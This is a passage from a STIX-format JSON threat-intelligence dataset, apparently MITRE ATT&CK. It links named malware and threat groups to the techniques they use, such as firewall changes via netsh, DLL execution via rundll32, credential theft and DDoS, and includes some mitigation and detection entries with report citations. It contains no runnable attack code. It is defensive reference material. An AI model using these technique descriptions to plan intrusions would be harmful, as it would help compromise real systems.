2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e3f6da4-a327-4c42-8a12-bc5840336430","type":"relationship","created":"2020-02-21T17:31:33.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:00:52.893Z","description":"Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e462e1b-62ec-4b44-990d-acd3f7b0010c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.711Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying and the ps command.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e4a4b86-b2af-450b-b365-0a5399509462","created":"2022-08-11T22:12:30.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T21:06:22.675Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has modified firewall rules to allow incoming SMB, NetBIOS, and RPC connections using `netsh.exe` on remote machines.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:43:16.600Z","description":"[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over a raw socket.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e53c0fb-e7f9-4b6d-a0a0-b7c64b5a3b6e","created":"2024-08-07T20:42:06.805Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:42:06.805Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use an embedded RC4 key to decrypt Windows API function strings.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e56eeb2-9ca5-496d-9348-8e337af5f0d8","type":"relationship","created":"2020-03-16T18:42:42.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","source_name":"FireEye FIN10 June 2017"}],"modified":"2020-03-16T18:42:42.574Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has moved laterally using the Local Administrator account.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e596415-354e-4ccc-bc9d-3deb3fe5de1e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-19T22:17:57.976Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e5b108b-fec6-4d44-ad9a-9302d4f6e368","type":"relationship","created":"2020-09-23T14:54:15.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.302Z","description":"[OnionDuke](https://attack.mitre.org/software/S0052) has the capability to use a Denial of Service module.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e5ee6b9-182f-47fb-a0b5-71c3c52fed12","type":"relationship","created":"2020-02-04T19:24:28.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-13T21:08:10.340Z","description":"Ensure critical system files as well as those known to be abused by adversaries have restrictive permissions and are owned by an appropriately privileged account, especially if access is not required by users nor will inhibit system functionality.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e5efb4b-e2b1-4b00-bc14-5c36a8dde933","created":"2024-09-09T14:42:52.303Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-09T14:42:52.303Z","description":"Evaluate Event Tracing for Windows (ETW) telemetry associated with ClickOnce deployment execution.","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e60c70a-7b2f-45b8-b7d4-80e214acfb2d","created":"2019-05-24T17:57:36.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.209Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has been observed making videos of victims to observe bank employees day to day activities.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5e617da4-3359-4e40-b29d-679e05ef2e31","created":"2022-07-18T16:01:43.028Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SDBbot](https://attack.mitre.org/software/S0461) has used rundll32.exe to execute DLLs.(Citation: Korean FSI TA505 2020)","modified":"2022-07-18T16:01:43.028Z","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e6cf759-1690-41b3-9e41-d8317f4ef83d","type":"relationship","created":"2020-01-14T01:26:08.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T01:26:08.261Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2020-05-29T18:11:23.456Z","description":"If [Shamoon](https://attack.mitre.org/software/S0140) cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.(Citation: FireEye Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e6f5555-f7dd-462d-b110-afc28f021be5","type":"relationship","created":"2021-05-26T13:28:32.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:29:06.774Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has the ability to download and execute additional payloads.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e7460f8-9ea9-4aa4-b06e-15861b02d70e","type":"relationship","created":"2019-01-29T18:17:59.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2019-04-19T15:08:16.052Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate network shares.(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e7e3226-1583-48de-9376-946fa88b6d15","type":"relationship","created":"2019-01-29T21:36:59.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","source_name":"Unit42 SilverTerrier 2018"}],"modified":"2020-03-17T02:36:01.222Z","description":"[SilverTerrier](https://attack.mitre.org/groups/G0083) uses SMTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e7f7b93-bf98-4528-b6bc-dc60e47af788","type":"relationship","created":"2020-02-10T19:55:29.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T19:55:29.505Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"},{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-10-14T22:21:20.926Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can perform DLL loading.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e856280-00bc-4b8c-aec4-8ca3fd29ef62","created":"2024-09-25T18:35:31.407Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:35:31.407Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used valid local accounts to gain initial access.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e8f23be-48b6-4236-9475-89f11e769ee6","type":"relationship","created":"2020-06-30T22:12:28.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"Secureworks IRON HUNTER Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}],"modified":"2022-03-09T23:34:49.389Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has infected victims using watering holes.(Citation: ESET ComRAT May 2020)(Citation: Secureworks IRON HUNTER Profile)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e8fc958-6778-4c46-ae15-0d239309bc76","type":"relationship","created":"2019-01-29T18:44:04.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."},{"description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","source_name":"Fortinet Agent Tesla June 2017"}],"modified":"2020-03-18T19:25:30.208Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has used HTTP for C2 communications.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e9256c1-5ad5-4fb2-9a75-0267a2daae89","type":"relationship","created":"2020-10-01T18:55:37.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}],"modified":"2020-10-06T23:32:24.927Z","description":"In 2016, [APT28](https://attack.mitre.org/groups/G0007) conducted a distributed denial of service (DDoS) attack against the World Anti-Doping Agency.(Citation: US District Court Indictment GRU Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e967f56-9186-43d5-b748-4ee383df4174","type":"relationship","created":"2020-09-29T15:45:28.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-30T14:52:09.064Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can identify the computer name of a compromised host.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","source_name":"Kaspersky Sofacy"},{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}],"modified":"2019-09-09T17:44:35.663Z","description":"(Citation: Kaspersky Sofacy)(Citation: Securelist Sofacy Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ea008a7-d193-4ec6-b60b-68b4fec16690","created":"2024-09-19T14:00:53.113Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:00:53.113Z","description":"[Execution Guardrails](https://attack.mitre.org/techniques/T1480) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised. ","relationship_type":"mitigates","source_ref":"course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ea008d4-60a3-4dfa-a670-2d70e70953b8","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and 